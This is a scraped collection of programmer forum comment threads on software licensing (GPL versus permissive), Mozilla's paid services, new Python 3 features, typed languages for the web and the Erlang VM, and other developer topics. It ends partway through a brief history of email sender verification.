                                                  I see it more as paranoia, but in some cases, paranoia grounded in cold hard fact. When you are the biggest target, your legal department needs to figure out how to protect said target from attack. In order to do that, it MUST set incredibly paranoid boundaries to protect the company’s liability.

                                                  1. 3

                                                    Sort of. Apple forbids all GPLv3 but Google doesn’t. Both of these have comparable legal departments and are equally attractive targets and ship about as equally important software. They shouldn’t come to different conclusions on GPlv3.

                                                  2. 1

                                                    You and @feoh are talking about different thing which I don’t care for. I talk about legal stuff only, not about human psychology here. Please focus on topic.

                                                    1. 3

                                                      No, this is the topic. You’re “effectively banning” your software because those companies have internal rules to ban any GPL software. They don’t care what the actual rules are, because effectively they have decided to interpret them their own way.

                                                      Legal stuff is human psychology anyway, you have to convince a judge and a jury, who are fallible, biased, manipulatable humans.

                                                  3. 1

                                                    You are. Speaking from my personal experience at one such large corporate enterprise, use of GPL licensed software is straight up banned.

                                                    1. 6

                                                      I don’t know where you work, so I can’t comment on specifics, but I have found at other places I worked many coworkers thought “using any GPL’d software was banned” but all ran Bash on their MacOS laptops… now maybe you’re all Windows all the time and really have a ban where you work, but in my experience such bans are not quite so total as is sometimes perceived.

                                                      1. 3

                                                        So you’re banning stupid people from using your software (stupid, because apparently they can’t read a license and estimate its effect). I’d call that a net win because it reduces customer support requests: stupid as they are, they’re probably of the “you must fix the issue I have, now, for free” kind, too.

                                                        1. 2

                                                          FSVO “stupid people” which includes “smart people who’ve chosen to work for people who make stupid decisions”, sure. But it’s not an invalid point.

                                                          1. 4

                                                            Respectfully, you’re both being a bit elitist here. There are limits on what we can conceive of based around our previous personal experiences.

                                                            I have been thorugh the process of thinking something was stupid, only to learn that no really it’s NOT stupid and there were honest to god good reasons behind this or that restriction which I just wasn’t aware of at the time.

                                                            Are they decisions you’d make? Possibly not. Are they decisions I’d make under the circumstances? Maybe and maybe not. I know I don’t have all the answers, and I’m arguably in a better position to have a wider view than some.

                                                        2. 2

                                                          One person already pointed out FAANG are known to do this. What they do doesn’t generalize to most enterprises, though. Heck, their success has a lot to do with being opposite of most enterprises. You should probably just say the specific companies, esp if it’s SaaS like Amazon.

                                                          1. 5

                                                            FAANG are known to do some of that.

                                                            I work at Google and editing GPL code (not just using, actually changing and distributing an external project, coreboot) is what they hired me for, so the GPL is certainly not “banned”. There are bans though and the list is public: https://opensource.google.com/docs/thirdparty/licenses/#banned

                                                            1. 0

                                                              No but as someone else explained in more detail, it’s walled off from the mono-repo to protect the main code base from the viral nature of the GPL.

                                                              Google has wisely chosen to put enough resources into play that it can safely play with fire safely.

                                                      2. 3

                                                        Rather than being outraged, software authors should choose licenses that will do what they want and mean, and save their energy for creating more awesome software :)

                                                        You’re missing the important case where one’s ethics does not necessarily align with what one thinks should be enforced by law. For example, you might think that cheating on your SO is wrong, but it is generally not illegal to do.

                                                        Just because I share similar goals as the FSF, does not mean I agree with their desired means to accomplish those goals.

                                                        Effectively, you’re espousing a form of “the ends justify the means.”

                                                        (You don’t need to ask me why I disagree with using copyleft as a means. Just go look up arguments against the use of intellectual property.)

                                                        1. 2

                                                          “Support Intellectual Prosperity, Not Property!”

                                                          1. 1

                                                            You’re missing the important case where one’s ethics does not necessarily align with what one thinks should be enforced by law. For example, you might think that cheating on your SO is wrong, but it is generally not illegal to do.

                                                            So then get involved with activism efforts to change said law to more fully align with your desires?

                                                            My point is simple - we live in a society awash with outrage, and honestly I think it’s becoming a canned response to way too much, so I’m suggesting the channeling of that energy into something more useful. That’s all.

                                                            1. 2

                                                              All I’m saying is that your outlook on how to choose licenses is extremely short sighted. And you aren’t the only one falling into this trap. Lots of people, for example, think it’s entirely unreasonable to be upset with someone plagiarizing your work if you put it into the public domain. And you’re effectively making the same argument, and it’s ridiculous.

                                                              1. 1

                                                                I don’t agree. You’re making analogies that don’t work, at least in my world view. I’m sure you have information or background that I don’t, but can you please help me understand how writing some code and then putting it under a license which is explicitly designed to allow it to be copied, sold or otherwise used in a particular way is equivalent to plagiarizing someone’s written work which was explicitly designed NOT to be copied etc?

                                                                1. 3

                                                                  Sorry, but I don’t see what you’re missing. My last comment had zero analogies. The first analogy in my initial comment (cheating on SO) was merely used to demonstrate that laws and ethics are not the same thing. That is, just because I don’t want to use the full weight of the law to force you to do something (e.g., the GPL) doesn’t mean I thinkI don’t agree with the motivation for the GPL in the first place (reduce the amount kf proprietary code).

                                                                  In other words, saying you should choose a license based on its effect neglects the fact that one may disagree with the means by which the license achieves said effect.

                                                                  For example, I might choose to publish my source code in the public domain. In the eyes of the law, it would be legal for anyone to do anything with that work without restriction, including plagiarizing it. If you argue that one should choose a license only by its effect, then you’d think this was completely reasonable since I chose to put it into the public domain and knew this could happen. But what I’m saying is that this is a fairly shallow way to interpret license usage, and that it would be completely reasonable for the publisher to be upset at someone plagiarizing their public domain work. Because laws and ethics are not equivalent.

                                                                  1. 1

                                                                    For example, I might choose to publish my source code in the public domain. In the eyes of the law, it would be legal for anyone to do anything with that work without restriction, including plagiarizing it. If you argue that one should choose a license only by its effect, then you’d think this was completely reasonable since I chose to put it into the public domain and knew this could happen. But what I’m saying is that this is a fairly shallow way to interpret license usage, and that it would be completely reasonable for the publisher to be upset at someone plagiarizing their public domain work. Because laws and ethics are not equivalent.

                                                                    I see where you’re coming from now, and you’re right. I am a citizen of the US. In the US, putting something into the public domain says that you can do whatever the hell you want with that code. If you copy the code and claim it’s yours, then I would think that is morally bankrupt of you to do, but you wouldn’t be violating the law.

                                                                    The law is what it is, and we have to live by it, or break it and face the consequences. When I have discussions with people, my assumption is that generally speaking “we will act within the boundaries of the law” goes without saying.

                                                                    I guess if you think people’s outrage is just and warranted, then that’s fine. I don’t know that I agree with you, but I also suspect that we are coming at this from two very different perspectives and I’m unsure whether it makes sense to try to have a meeting of the minds in this forum.

                                                                    1. 1

                                                                      I’m not advocating breaking the law. I’m not sure how I could be clearer unfortunately, and I don’t know why you think I’ve abdicated the assumption that one should generally act within the law. This is about choosing licenses and the reasons for doing so. i.e., It can be about the means as well as the ends.

                                                          2. 2

                                                            IMO this boils down to whether or not you think capitalism is inherently exploitative at its base or whether it can also be a force for good.

                                                            As you mention later a lot of us don’t have a choice whether or not to participate in capitalism, but it is inherently exploitative. For example, you wouldn’t be forced to choose between profit or die unless you were being exploited in the first place.

                                                            But you raise a really important point, which is that being able to avoid capitalism is a luxury and that’s something to keep in mind whenever we criticize people’s actions.

                                                            1. 2

                                                              As you mention later a lot of us don’t have a choice whether or not to participate in capitalism, but it is inherently exploitative. For example, you wouldn’t be forced to choose between profit or die unless you were being exploited in the first place.

                                                              False dichotomy, every developed country has some form of social welfare for its citizens to fall back on should they absolutely need it. Even in the wacky old free-market capitalist utopia United States.

                                                              1. 2

                                                                False dichotomy, every developed country has some form of social welfare for its citizens to fall back on should they absolutely need it. Even in the wacky old free-market capitalist utopia United States.

                                                                … Have you ever lived on welfare or other state supported benefit / plan? I have, albeit admittedly while I was still under my mother’s roof. I had MassHealth and she lived in survivor’s benefits and SSI to raise me.

                                                                We got by and I never starved but please don’t put living in such a state forward as a viable alternative.

                                                                For instance, with the expensive medical care I require, were I living on welfare or something like it, I might not die, but I’d likely wish for death given the hardship such a situation would impose.

                                                                It’s very easy to make arguments based on theory, but living the reality is something quite different.

                                                                1. 1

                                                                  I was responding to the grandparent’s statement that I quoted and the fact that he/she painted a false dichotomy under capitalism of “profit or die” and used social welfare systems as a counterpoint. I didn’t say every country’s social welfare systems are perfect, just that by and large, they exist and they keep a lot of people from dying.

                                                                2. 0

                                                                  I’m not sure what you’re getting at, social welfare is not a capitalist construct.

                                                                  1. 1

                                                                    But lack of social welfare is not a capitalist construct either.

                                                              2. 2

                                                                “ermissive licenses were designed to allow for commercial use of the licensed work, so having expectations to the contrary seem like a recipe for disappointment to me. Rather than being outraged, software authors should choose licenses that will do what they want and mean, and save their energy for creating more awesome software :)”

                                                                That’s what I keep saying.

                                                              1. 7

                                                                I for one use permissive licenses in the hope that one day an aerospace company will use my code and it will end up in orbit.

                                                                1. 10

                                                                  Maybe they already do? With a permissive license you have good chances of never finding out.

                                                                  1. 3

                                                                    And how would the GPL change that?

                                                                    1. 2

                                                                      Because the aerospace company would have to publish their code.

                                                                      1. 11

                                                                        s/publish/provide to customers/

                                                                        1. 6

                                                                          No. It is not required to publish GPL code of the modified version if it remains private (= not distributed).

                                                                          So you have the same chances of never finding out about usage in either case (but the virality of GPL might actually decrease the odds).

                                                                          1. 1

                                                                            I was referring to this aspect of the license:

                                                                            But if you release the modified version to the public in some way, the GPL requires you to make the modified source code available to the program’s users, under the GPL.

                                                                            Whether or not that would come into play with the hypothetical aerospace company in question is beside the point.

                                                                          2. 0

                                                                            Or not.

                                                                            1. -1

                                                                              Nope

                                                                          3. 1

                                                                            https://www.gnu.org/licenses/gpl-faq.en.html#GPLRequireSourcePostedPublic

                                                                            I guess what you mean is better chances of finding out?

                                                                          4. 7

                                                                            I found out that my open source code was being used in nuclear missiles. It did not make me feel good.

                                                                            1. 2

                                                                              What license were you using?

                                                                              1. 2

                                                                                GPL

                                                                                1. 2

                                                                                  Interesting that you could have discovered this, would presume such things would be quite secretive. I guess there’s nothing you can do to stop them using it either?

                                                                                  1. 2

                                                                                    It was a shock. And nope, nothing could be done. In fact, I suspect that Stallman would say restricting someone from using software for nuclear weapons (or torture devices or landmines or surviellance systems) would be a violation of the all important issue of software freedom.

                                                                                      1. 1

                                                                                        It would be an interesting argument to try to make. The FSF already recognizes the AGPL – which explicitly does not grant Freedom Zero as defined by the FSF – as a Free Software license, and the general argument for that is one of taking a small bit of freedom to preserve a greater amount over time. A similar argument could be made about weapons (i.e., that disallowing use for weapons purposes preserves the greatest amount of long-term freedom).

                                                                                        1. 1

                                                                                          … Stallman would say … violation of the all important issue of software freedom

                                                                                          Restricting use on ethical basis is quite difficult to implement for practical reasons.

                                                                                          1. 1

                                                                                            That’s not really the issue. One of the things I dislike about FSF/Stallman is that they claim, on moral principal, that denying a software license to , let’s say, Infant Labor Camp and Organ Mart Inc. would be wrong. I think that “software freedom” is pretty low down on the list of moral imperatives.

                                                                                            1. 1

                                                                                              Being able to (legally) restrict the use of my creative output (photographs in my case) is the reason I retain the “all rights reserved” setting on Flickr. I’d hate to see an image of mine promote some odious company or political party, which is what can happen were I to license it using Creative Commons.

                                                                                  2. 2

                                                                                    How did you find out?

                                                                                    1. 2

                                                                                      They asked me to advise them.

                                                                                    2. 2

                                                                                      For ethical reasons or for fear of some possible liabilities somewhere down the line?

                                                                                      1. 11

                                                                                        What a question. I didn’t want to be a mass murderer.

                                                                                  1. 1

                                                                                    I’m unsure of how I feel about this. On the one hand this triggers my free software sensibilities and instills a sense of anger at mozilla in me. On the other hand; mozilla needs cash and if people are willing to pay for a shiny version of firefox which underwrites all firefox development… I don’t see that as a problem. I think a wait and see approach appropriate here.

                                                                                    1. 30

                                                                                      There’s nothing anti-freedom about selling open-source software. As long as Mozilla makes it easy to run these hosted services yourself, I don’t particularly mind Mozilla selling hosting in order to make money.

                                                                                      1. 2

                                                                                        The more I sit on these thoughts the more I don’t mind either, but there is a certain negative animal instinct reaction that I have to news like this.

                                                                                        1. 2

                                                                                          A few years ago, I wouldn’t have thought much of this move. Now I get a flash of negative when reading news like this because of the ‘open core’ bullshit that many projects have adopted, where the base is FLOSS but a significant portion of functionality is proprietary stuff they bolt on and sell. I sure hope Mozilla doesn’t go in this direction with Firefox (e.g. it seems Google is trying to go down this road with Chrome now, with their recent ‘you only get decent adblock on the paid version’ move).

                                                                                          1. 3

                                                                                            Certainly only time will tell, but I find it telling that no real efforts have been made to make an open source chrome competitor from a chromium base.

                                                                                            1. 1

                                                                                              Where did the Mozilla source come from originally again, and who paid for it?

                                                                                              1. 3

                                                                                                NETSCAPE ANNOUNCES PLANS TO MAKE NEXT-GENERATION COMMUNICATOR SOURCE CODE AVAILABLE FREE ON THE NET (1998)

                                                                                                BOLD MOVE TO HARNESS CREATIVE POWER OF THOUSANDS OF INTERNET DEVELOPERS; COMPANY MAKES NETSCAPE NAVIGATOR AND COMMUNICATOR 4.0 IMMEDIATELY FREE FOR ALL USERS, SEEDING MARKET FOR ENTERPRISE AND NETCENTER BUSINESSES

                                                                                                (edit: it’s from 1998, not 2002, whoops)

                                                                                                1. 2

                                                                                                  I think @friendlysock was trying to make a point—that IMO they should have been explicit about (if this was what they meant)—that Mozilla’s codebase originated from Netscape’s proprietary code and profit-seeking business model and structure, and so fears that Mozilla seeking new revenue streams may be a slippery slope to loss of the only credibly community-based browser may be premature.

                                                                                                  I would counterargue that money corrupting is so universal an outcome that Netscape’s original code dump should be seen as a fluke and a mark of desperation, and so it would be premature not to be concerned about that possibility. But obviously, we can’t actually know how this will turn out (if it even comes to fruition, Mozilla’s track record on delivering new products is… poor), and Mozilla being a non-profit is definitely a cause for confidence.

                                                                                                  1. 2

                                                                                                    Oh, I’m tracking the conversation. :) Love that press release, though.

                                                                                                    I’m surprised that nobody has made a comparison to Google yet. Along the lines of “We trusted Google, and now see how that turned out.”

                                                                                                    I want to trust somebody, though. I’m ready. My relationship with Google has been over for years. …Granted, all my mail still goes to her place… That doesn’t mean I shouldn’t get in bed with Mozilla, right?

                                                                                                    Of course, who I really trust are the tildes, and the gopherspace, and hacker collectives. But they’re .. still in school? Not ready to move in together? (I think I took this analogy as far as possible.)

                                                                                                    1. 1

                                                                                                      Not quite where I was going with it, but I do like your point. :)

                                                                                                      The reason I brought it up was in response to hand-wringing about the community core thing: Mozilla was a fluke whereby the community and society got a massive gift subsidized by venture capitalists, investors, and shareholders. That being the case, the idea of a premium offering to defray expenses isn’t that big a deal–after all, the “commons” being fenced in was originally the property of ruthless capitalists who let hippies move in.

                                                                                                      A premium TempleOS or Linux offering or something would be much more objectionable to me.

                                                                                          2. 15

                                                                                            I can’t claim that I have any inside knowledge, but what oozes out of discussions with Mozilla employees is that Mozilla is interested in entering the business of offering you a hosted service, which you may optionally run yourself. So, take this with appropriate salt.

                                                                                            Given that Mozilla has tremendous operations that makes and effort in being open, I hope that this is the path they would go. I’m a huge fan of the “pay for a service” model, as long as I can inspect the service.

                                                                                            1. 3

                                                                                              I agree. I think Mozilla should get into the services business. They make a product called Mozdef which I use at work and I would pay for if I could get a managed version.

                                                                                            2. 4

                                                                                              I mean, human people giving them money means that they are then subject to market pressure in a way that their current business model prevents. I think it’s a good thing.

                                                                                              1. 1

                                                                                                As opposed to right now, where they are not subject to any market pressure whatsoever?

                                                                                                1. 3

                                                                                                  I find their position unbelievably tenuous. Google could choose at any time to stop pumping money in there. I would much rather Mozilla seek opportunities to sell things of value to people, instead of trying for some kind of ad-based monetization.

                                                                                                  1. 4

                                                                                                    Google could choose at any time to stop pumping money in there.

                                                                                                    This isn’t quite true. My understanding is that Mozilla actually auctions stuff like the default search engine and space on the new tab page, so if Google dropped out, they’d still get nearly as much money from Microsoft/Bing.

                                                                                                    However, that market is very, very shallow. After those two, I’m not sure who’s left—Yahoo!? I doubt DDG has the depth of pockets to fund Mozilla as well as their own business. I’m certainly in agreement that alternative revenue streams are highly desirable, and if you’re getting money from anywhere, having your users give it to you for a product at least aligns the incentives appropriately.

                                                                                                    1. 2

                                                                                                      Fair enough. Still, though, the forbearance of tech Godzillas is a vanishingly thin reed to hang the future of the “open internet” on.

                                                                                                      1. 1

                                                                                                        so if Google dropped out, they’d still get nearly as much money from Microsoft/Bing

                                                                                                        Provided their market share continues to be relevant, but it has been going down due to the prevalence of Blink-derived browsers.

                                                                                                      2. 1

                                                                                                        Ah, I misunderstood. I though you were saying their current business model was a good thing.

                                                                                                        1. 1

                                                                                                          Yeah, when I reread my original comment, it was definitely not clear.

                                                                                                1. 3

                                                                                                  I don’t need any of these services, I got these covered in other ways already. What I would pay for would be a Patreon-like model where I could vote on features being implemented. Like fixing decade old bugs instead of becoming Mozilla Chromium over time.

                                                                                                  1. 3

                                                                                                    I also think bug bounty for Firefox would be a great thing to have, but Firefox Premium can coexist with that.

                                                                                                  1. 12

                                                                                                    I used to be a fan of Python but almost all the stuff here seems weirdly tacked on. Added with good intentions for sure but a lot of it seems short-sighted, implemented in the least-effort way.

                                                                                                    • f strings are like u strings in Python 2: a compatibility hack to make old code not go bust. Maybe these should’ve been just regular strings in Python 3, but over the entire lifespan format strings were not necessary but we need them mid-way in Python 3? Odd.
                                                                                                    • Pathlib uses the division operator in a weird way. I guess maybe this is similar to how + concatenates strings but seems to be overly cute for cuteness sake. Granted, this is a minor point.
                                                                                                    • Type hinting. I guess it is nice. Doesn’t seem fully formed, since that was introduced in 3.0 but had no guidelines on how to use it. I’m not necessarily a fan of adding features without a clear idea how to use it but okay, we seem to be getting to some point now.
                                                                                                    • Enumerations look like a weird hack, not a language feature. Without matching/dispatching on Enums these don’t feel all that useful. This is like ADTs but without the good parts.
                                                                                                    • Data classes or as we in ML call it, records. Useful feature, again as a decorator hack. But I can certainly see it being helpful. Again, no destructuring on them, which would make them much more useful.
                                                                                                    • Implicit Package Namespaces. Could you make Python packages more obscure with more special rules? Turns out you can.
                                                                                                    1. 17

                                                                                                      Why do you feel that Py3’s f strings are like Py2’s u strings? The f stands for “format”, meaning you can avoid the .format() method. The u stands for “unicode”, and is something else entirely. I don’t see how the two compare, would you care to elaborate?

                                                                                                      The division operator used in pathlib merely mimics the directory separator in unices. If we have p = pathlib.Path('/path'), then p / 'to' / 'file' is the same as /path/to/file. Pretty easy and convenient, if you ask me.

                                                                                                      1. 2

                                                                                                        Why do you feel that Py3’s f strings are like Py2’s u strings?

                                                                                                        Because both are what strings should’ve been by default. But one couldn’t change Python 2 in a compatible way so Python 3 strings are what were u strings in Python 2. Similarly with f strings, in languages that do format strings this way (Ruby, Shell, PHP come to mind) this is a default behaviour, with a way to opt-out. But that can’t be added in Python 3 because all existing code that might contain formatting characters would start doing unexpected things, so f strings had to be created. A hypothetical Python 4 would probably use f strings as default.

                                                                                                        My complaint here is if there is a new formatting syntax introduced, why was it added now and not in a clean syntactic way when Python 3.0 was introduced?

                                                                                                        The division operator used in pathlib merely mimics the directory separator in unices.

                                                                                                        I understand that it is for that purpose, but it is a “cutesy” misuse of division. The reverse operation of division would be multiplication, but what would multiplication on a path even mean? But as said, this is a minor complaint since Python already has + on strings, with no symmetrical - operation.

                                                                                                        Fun fact, Elixir has + on lists and also - on lists. What does it do? I’m leaving this as an exercise to the reader.

                                                                                                        1. 1

                                                                                                          Thanks, I understand what you’re getting at.

                                                                                                        2. 1

                                                                                                          Operator overloads, yeah, brilliant. Let’s bless this kind of crap so we can be surprised by more un-obvious, difficult-to-introspect garbage.

                                                                                                        3. 2

                                                                                                          I kind-of agree. It seems like a lot of recent changes make Python more complicated for not much gain. The language is starting to feel bloated instead of elegant and focused, to me at least. Thankfully they’re almost all opt-in features, so I can continue using Python as I like it, and only pick the new “features” which I genuinely get some benefit from.

                                                                                                          1. 2

                                                                                                            Data classes implementation is so much nastier than namedtuple, and given the fact that it’s yet-another-decorator-hack, I don’t understand why it has a pep and is in the standard lib.

                                                                                                            Type hinting, asyncio (or twisted), fstrings (an abomination)…no wonder Guido bounced. The whole place is going crazy! What happened to the Zen of python? All of the aforementioned seem direct contradictions.

                                                                                                            Fuck. I’ll be writing c and Lua if you need me.

                                                                                                            1. 1

                                                                                                              Implicit Package Namespaces. Could you make Python packages more obscure with more special rules? Turns out you can.

                                                                                                              The article is wrong, you should not use this feature as it suggests. It does solve a real problem — packages like zope that are broken into multiple distributions on PyPI — see PEP 420. In this advanced use case it replaces a disgusting setuptools hack so I’d count it as progress.

                                                                                                            1. 2

                                                                                                              This post is obviously written from the perspective of someone who cares about safety and security. Safety is a very important ‘top’ to the system but there are others which can be more important depending on what the user values. The software can be as safe as you want, but if it doesn’t solve the problem I need the software to solve, then it’s useless to me. If safety concerns are preventing me from writing software that is useful to people, then it’s not valuable. In other words, sometimes ‘dangerous code’ isn’t what we need saving from.

                                                                                                              Personally, I feel what we need saving from is people building software who have zero consideration for the user. So the better I can directly express mental models in software, the better the software is IMO. Modern C++ is actually really good at allowing me to say what I mean.

                                                                                                              1. 3

                                                                                                                This is based on assumptions that safety is only useful as an end to itself, and that safety decreases language’s usefulness. The counterpoint to it is that safety features eliminate entire classes of bugs, which reduces amount of time spent on debugging, and helps shipping stable and reliable programs to users.

                                                                                                                Rust also adds fearless concurrency. Thread-safety features decrease the amount of effort required to parallelize the program correctly. For example, parallel iterators are simple to use, and can guarantee their usage won’t cause memory corruption anywhere (including dependencies, 3rd party libraries!).

                                                                                                                So thanks to safety features you can solve users’ problems quickly and correctly.

                                                                                                                1. 1

                                                                                                                  I feel that one day both C and C++ will be relegated to academic “teaching languages” that students will dread, that are used only to explain the history and motivations by the more complex (implementation wise) but better language that overtakes them.

                                                                                                                  1. 1

                                                                                                                    I am not sure why that would ever happen. As teaching languages both are pretty much useless, for the surface simplicity and hidden complexity of C or the sheer size of C++. We are currently not teaching BCPL or ABC or any other predecessors of currently popular languages, because while interesting from a historical perspective it doesn’t teach you all that much.

                                                                                                                    1. 3

                                                                                                                      Late response, but I totally agree with you. I was thinking of it more in terms of the way assembly is typically taught to CS students. It’s good to know that your code will be run as these machine instructions eventually, but it’s not strictly necessary for developing useful applications.

                                                                                                              1. 4

                                                                                                                Is there any comparison between the different statically typed options for the Erlang VM? I know there is Alpaca and I seem to faintly remember walking across another language but can’t remember its name.

                                                                                                                1. 7

                                                                                                                  There is Alpaca, Purescript (purerl), Gradualizer, and Elchemy that I know of. I’ve not written a comparison as I’m weary about seeming unfriendly or competitive when really I would like all these projects to succeed!

                                                                                                                  Are there more specific questions I could answer for you?

                                                                                                                  1. 3

                                                                                                                    Thanks for the list!

                                                                                                                    I guess my main question would be which of these would map my existing OCaml workflow best onto the Erlang VM.

                                                                                                                    1. 7

                                                                                                                      From where I’m standing I would say the Purerl is the most mature and usable right now, making it a good choice. It is more of a Haskell than an OCaml though, Gleam is in some ways closer to OCaml there.

                                                                                                                      On the whole they’re all rather immature projects, so if you want real-world use I probably wouldn’t use any of them (except possible Purerl). I intend to continue to develop Gleam and the ecosystem around it so hopefully it’ll fill that niche in the not too distant future.

                                                                                                                1. 10

                                                                                                                  I have found quite a number of jobs in my career that I found to be meaningful. Working for the company that did a lot of the donation processing for the Barack Obama campaign was meaningful to me. I will always be proud of the work I did there.

                                                                                                                  Ditto working for the human genome project.

                                                                                                                  To be honest, much though I expect to be tarred and feathered for saying so, I find my work at AWS to be incredibly meaningful. I feel like we’re advancing the state of the art in commercial fault tolerant distributed filesystems. I realize the ‘commercial’ bit means that the understanding of how to run such a thing won’t get contributed back to the commons, and while I wish it wasn’t so I also feel like I’m at peace with living in a world where making money is how we keep score, and as such closed source is a thing we choose to live with.

                                                                                                                  I like this article, because I think it’s helpful for some people who lack meaning in their work to understand some of the things that can contribute to finding it.

                                                                                                                  1. 2

                                                                                                                    To be honest, much though I expect to be tarred and feathered for saying so, I find my work at AWS to be incredibly meaningful.

                                                                                                                    I think not, since the point of the post is that the job is meaningful to you first and foremost and not other people.

                                                                                                                    That said I see the conflict with the proprietary (not so much commercial) bit and would prefer this knowledge would find its way into the commons. Which over time it probably gradually will since things that were very difficult years ago are a commodity nowadays. That said you can view creating fault tolerant distributed filesystems as an enabler for other potentially meaningful work on top of it.

                                                                                                                    1. 5

                                                                                                                      That’s a shortsighted definition of ‘meaningful’.

                                                                                                                      Someone working at Unilever can seriously influence the amount of plastic used worldwide, by working on a project to reduce the amount used in detergent packaging, even if they internally sell it as a cost saving measure. They can find that immensely meaningful and it may well turn out to be one of the small things that in the end prevents us from ruining the environment.

                                                                                                                      If you work on a filesystem for Amazon that improves their FS reliability, which reduces their storage costs, which enables them to offer a few products slightly cheaper, then you improve the prosperity of all users of Amazon, which includes poor people for whom the prosperity improvement is relatively large. That is meaningful to them, even if for a different reason for why the work can be meaningful to you.

                                                                                                                  1. 1

                                                                                                                    Is it just me or do things work very differently in the Windows world than the Linux world? Things like not caring about (upper/lower) case so much so that they decided to toggle that flag for their OSX filesystems… Any time you map multiple characters together you are asking for trouble.

                                                                                                                    1. 1

                                                                                                                      The case insensitivity is on by default on macOS filesystems, so unless you want every user of your software to switch their FS settings it makes sense to go with the flow. A coworker of mine turned on case sensitivity and it turns out lots of software on macOS can’t handle it properly.

                                                                                                                    1. 3

                                                                                                                      I was alarmed by this paragraph:

                                                                                                                      I fixed numerous instances of a particular suppressed compiler warning on Windows because g++ didn’t have a convenient way to suppress all the ways that warnings could be triggered.

                                                                                                                      I have so many questions about the development culture in the team that produced that code.

                                                                                                                      1. 2

                                                                                                                        I mean, also this:

                                                                                                                        When a build error occasionally snuck past pre-validation and was submitted, the Linux CI pipeline was so fast that frequently the branch owners would see the build error on Linux, assume it was a Linux-only problem, and assign the resulting defect to the Linux porting team.

                                                                                                                        No wonder the port took so long when people who regressed the port just dropped code over the fence for others to fix.

                                                                                                                      1. 5

                                                                                                                        I just wish that I could get DuckDuckGo to return the results I’m looking for more than 30% of the time.

                                                                                                                        I switched full bore to DDG for ~3 months and found myself being forced (after a reasonable amount of flailing) and found myself reverting to google 60+% of the time :(

                                                                                                                        1. 2

                                                                                                                          How long ago was this? I’ve found DDG now gives me what I want at least 90% of the time. When I tried a few years ago, it was much worse. Might be time to start tracking it, actually.

                                                                                                                          1. 5

                                                                                                                            I’ve been using DDG as my “first search engine” for five years or so (probably the only instance where I was an “early adopter”!) and find it’s consistently worse than Google. I regularly fall back to adding !g (maybe 15-25% of the time?)

                                                                                                                            For example, searching “Dunedin” on DDG gives me many results about Dunedin, Florida rather than Dunedin, New Zealand (where I live). Combine Dunedin with any other term (e.g. “Dunedin trash pickup”, “Dunedin concerts”, etc.) and it’s consistently worse.

                                                                                                                            I had the same problem when I lived in Bristol, UK. Because English settlers had the imagination of the average dinning table there are about 15 cities named Bristol in the United States, too. Google always gave me better results if I wanted to find out anything about the One True Bristol.

                                                                                                                            Trying to search for stuff in Dutch (rather than English) has always been tricky.

                                                                                                                            Occasionally DDG will give me “no results”, whereas going to Google will give me what I want. I can’t recall a specific search term right now.

                                                                                                                            1. 1

                                                                                                                              For example, searching “Dunedin” on DDG gives me many results about Dunedin, Florida rather than Dunedin, New Zealand (where I live).

                                                                                                                              While I think you raise very valid points I think the idea of DDG is to not create a personalized filter bubble, so just picking whichever Dunedin has the best SEO is sort of the idea behind DDG.

                                                                                                                              I am not sure I am on board with that idea either, I always get frustrated when GMaps suggests me places on the other side of the world when for the most part it is painfully obvious I don’t actually want to cycle through the Atlantic ocean to buy ice cream.

                                                                                                                        1. 4

                                                                                                                          I wonder if there is an introduction to imperative programming for the pragmatic programmer. This hidden state changing in the background without notice seems terribly difficult and impractical to program with. How would refactoring even work when you aren’t clear at what does in and what comes out?

                                                                                                                          1. 3

                                                                                                                            This is precisely why I think that FP should be taught first. It really makes you appreciate the value of avoiding mutable shared state, and it provides you with the tools to do that. Having developed this awareness really helps when you’re working an imperative language where you have to be much more careful in this regard.

                                                                                                                          1. 7

                                                                                                                            There are web frameworks in OCaml, Oscigen being the most mature. But there are also other typed functional languages with web frameworks! Servant is a new one in Haskell, but there are others, same goes for F# and Scala.

                                                                                                                            I don’t think that types and functional programming are just missing a good web framework to win the day. Web frameworks are fundamentally building GUIs; they just so happen to be GUIs downloaded on the fly. And GUI programming has historically been the least typeful sort of programming. Why would I need a compiler to tell me that I’m write when I can see right here I am? There’s a lot to be said for confidence in refactoring and ease of checking, but it’s not quite as necessary as it is for systems programming, distributed systems, etc.

                                                                                                                            That said, there is a lot of cool new stuff going on in the Elm / Virtual Dom space — and OCaml’s certainly part of it.

                                                                                                                            1. 6

                                                                                                                              I wouldn’t call Servant a web framework. It’s more for building APIs - you don’t get templating or any other MVC niceties that you’d get with Rails. Instead, you get typed, declarative APIs that in some cases you can then use to generate client code or documentation.

                                                                                                                              1. 4

                                                                                                                                Why would you say GUI are any less “typeful”? How are you seeing that you are right? Maybe on perfectly static pages I could see that it might be easy to visually check the page but most pages are not strict static HTML pages. I’ve been using Giraffe + Fable-Elmish for my F# webdev, this lets me have types in my client and server. Having the same data representation on the client and server allows me to have very simple client side validation, while also potentially having the same validation on my server. I can use the same code for both client and server.

                                                                                                                                1. 3

                                                                                                                                  Yeah I don’t think that GUI’s are inherently typeful or not: Just pointing out that historically most GUIs have been written in dynamically typed programming languages: Javascript, Tcl, Ruby on Rails. Even some statically typed frameworks like vala/gobject and objective c have like an “Any” type. My guess is that this tendency is because it’s a lot easier to manually test GUIs, even ones that aren’t static, than it is to manually test distributed systems, kernels, compilers, etc. I’m not saying though that types aren’t useful for writing GUIs too though: having statically checked data across your server and client is awesome — your F# stack sounds great!

                                                                                                                                  1. 1

                                                                                                                                    I see! you weren’t meaning that they are inherently typeful or non typeful, you were describing the languages that are used for front end. That makes a lot more sense. I think part of it is that for a long time front end dev was seen as needing to be accessible to designers. Types have had a reputation as being “hard” because they tell you when you’ve boned it up, and that sometimes comes across as harsh I think. However really a good type system is like bowling with bumpers.

                                                                                                                                2. 2

                                                                                                                                  If servant is like Erlang’s Webmachine or Clojure’s Liberator than there is a pretty decent alternative: webmachine. I’ve used it and the biggest learning curve was the OCaml object system.

                                                                                                                                1. 12

                                                                                                                                  A brief, very short, no good history of email sender verification:

                                                                                                                                  1. 90s: PGP encryption and signing gets developed but never gains mainstream adoption due to it’s brittle design
                                                                                                                                  2. early 2000s: SPF gets created to link sender addresses to whitelisted ip address ranges. The proposed standard is undermined by the idea of SMTP FROM being different from user-visible “From” making evading restrictions trivial by spammers, and the lack of policy controls to define how receivers should react on validation failure.
                                                                                                                                  3. Late 2000s: DKIM appears, which digitally signs emails that can be verified by a public key published by a DNS record. By itself DKIM is not actionable, as it’s not clear what the receiver server should do about invalid or unsigned emails. No large mail provider takes action based on SPF or DKIM alone.
